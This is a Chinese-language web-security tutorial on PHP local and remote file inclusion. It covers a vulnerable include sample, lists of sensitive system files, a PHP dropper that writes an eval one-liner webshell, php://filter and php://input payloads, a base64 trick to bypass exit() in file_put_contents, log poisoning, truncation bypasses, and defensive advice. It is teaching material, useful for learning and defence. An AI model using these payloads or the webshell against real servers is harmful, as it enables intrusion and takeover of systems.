1、概述
什么是文件包含?
将需要重复调用的函数写入一个文件,对该文件进行包含时产生的操作。
漏洞产生原因
文件包含函数加载的参数没有经过过滤或严格定义,可以被用户控制,包含其他恶意文件,导致了执行非预期代码。
示例:
<?PHP
$filename=$_GET['filename'];
include($filename);
?>
可以看出,改变URL中filename的值即可改变代码中包含的文件。
include
函数出现错误时,会抛出警告,但程序仍继续执行。include_once
同 include ,但仅包含一次(避免函数重定义,变量重新赋值等问题)。require
函数出现错误时,会直接报错并退出程序执行。require_once
同 require ,但仅包含一次。
2、类型
2.1、本地文件包含
被包含的文件在服务器本地
包含本地敏感文件
-
windows系统:
C:\windows\win.ini //基本系统配置文件
C:\boot.ini //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml //iis配置文件
C:\windows\repair\same //存储windows系统初次安装密码
C:\ProgramFiles\MysqL\my.ini //MysqL配置信息
-
linux/unix系统:
/etc/passwd //账户信息
/etc/shadow //账户密码文件
/usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
/usr/local/app/PHP5/lib/PHP.ini //PHP相关配置
/etc/httpd/conf/httpd.conf //apache配置信息
/etc/my.conf //MysqL配置文件
2.2、远程文件包含
被包含的文件在远程服务端
条件:PHP.ini中设置allow_url_fopen = On(默认)、allow_url_include = On ( PHP5.2后默认为off )
包含远程文件
包含远程shell
remoteshell.txt
<?PHP
$payload="<?PHP eval(\$_POST['shell']);?>";
$myfile=fopen('test.PHP','w') or die("can't open the file!");
fwrite($myfile,$payload);
fclose($myfile);
?>
包含构造好的文件后,会在当前目录下创建test.PHP,即写入一句话木马,可以对其进行利用,后续也可用菜刀进行连接
3、利用方式
3.1、利用PHP伪协议
何为伪协议?简单的说,就是自己定义的协议,也只有自己的软件支持,其他软件都不识别的协议就是伪协议。
在PHP中,PHP给自己定义了一个PHP伪协议,以:PHP://
起头。
至于http://
、file://
这些都不是伪协议,都是大部分系统/软件都支持的协议,共享同一套协议标准。
PHP://filter
PHP伪协议的过滤器功能,可以通过拼接各种过滤器达到快速转换字节流的效果。如:
PHP://filter/read=convert.base64-encode/resource=index.PHP
其中
filter/[read|write]=[过滤器]
可简写为filter/[过滤器]
,PHP会自选判断是read还是write。
此时PHP会读取index.PHP文件的内容,通过convert过滤器的base64-encode方法,最总将所得结果以PHP代码的形式包含到运行的PHP文件之中,由于base64编码之后的内容不会出现<?
,所以必然不会被识别为PHP代码,故而能起到文件读取的作用。
对其进行base64解码得到源码
常用的过滤器有:
过滤器名称 | 说明 | 类别 | 版本 |
---|---|---|---|
string.rot13 | rot13转换 | 字符串过滤器 | PHP>4.3.0 |
string.toupper、string.tolower | 大小写互转 | 字符串过滤器 | PHP>5.0.0 |
string.strip_tags | 去除<?(.*?)?> 的内容 | string.strip_tags | PHP<7.3.0 |
convert.base64-encode、convert.base64-decode | base64编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.quoted-printable-encode、convert.quoted-printable-decode | URL编码转换 | 转换过滤器 | PHP>5.0.0 |
convert.iconv.编码1.编码2 | 任意编码转换 | 转换过滤器 | PHP>5.0.0 |
zlib.deflate、zlib.inflate | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
bzip2.compress、bzip2.decompress | zlib压缩 | 压缩过滤器 | PHP>5.1.0 |
利用 PHP://input 协议
主要用来接收post数据,将post请求中的数据作为PHP代码执行。
条件:allow_url_include = On
(PHP版本>5.2后,默认值为Off)
3.2、file_put_contents
示例:
<?PHP
$filename=$_GET['filename'];
$content=$_GET['content'];
file_put_contents($filename,'<?PHP exit();?>'.$content);
?>
$content在开头增加了exit过程,导致即使我们成功写入内容,也执行不了,这时候如何绕过?
payload
filename=PHP://filter/convert.base64-decode/resource=PHPinfo.PHP&content=aPD9waHAgcGhwaW5mbygpOyA/Pg==
对写入内容(这里是<?PHP PHPinfo(); ?>
)进行Base64编码(PD9waHAgcGhwaW5mbygpOyA/Pg==
),在包含PHPinfo.PHP这个文件时又进行Base64解码,这时写入内容还原,而死亡代码exit()被解码为乱码,达到绕过目的。
添加额外字符a:Base64解码时是4个byte一组,前面的PHPexit
一共7个字符,增加一个a凑成8个字符,这样PHPexita
被正常解码,而后面我们写入的内容也才会正常解码。
base64编码中只包含64个可打印字符(大小写字母,0-9,+,/),而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。
3.3、其他协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
如利用file协议:
3.4、配合日志文件
如果知道服务器日志文件的路径,可在URL请求中添加攻击代码,此代码会被记录在服务器日志文件内,再对日志文件进行包含,攻击代码便会被执行。(前提有访问权限)
测试靶场:DVWA
在日志文件中可见,部分字符被URL编码,代码无法执行,可用burpsuite抓包改回。
4、绕过方式
- %00截断
条件:magic_quotes_gps=off PHP版本<5.3.4
示例:
<?PHP include("inc/" . $_GET['file'] . ".PHP"); ?>
这里对后缀名进行了限制,可是我们无法上传PHP文件,满足条件下可用00截断绕过。
- 长度截断
前提:PHP版本<5.2.10
操作系统对于目录字符串存在长度限制,在linux下4096字节时会达到最大值,在window下是256字节。只要不断的重复./
即可:
lfi.PHP?file=././././[./]+/./shell.txt
lfi.PHP?file=./shell.txt/.[...]+. # 仅Windows下有效
- 重写
- 利用PHP伪协议等
5、危害
最简单的,我们可以通过上传一个包含webshell内容的图片,然后通过包含此图片即可得到一个可以控制的webshell。
6、防御
- 尽量不使用动态包含,无需情况下设置allow_url_include和allow_url_fopen为关闭;
- 对可以包含的文件进行限制︰使用白名单的方式,或者设置包含的目录,open_basedir ;
- 严格检查用户输入,参数中不允许出现…/之类的目录跳转符;
- 严格检查变量是否初始化;
- 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
参考资料:
[2] file_put_content和死亡·杂糅代码之缘
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。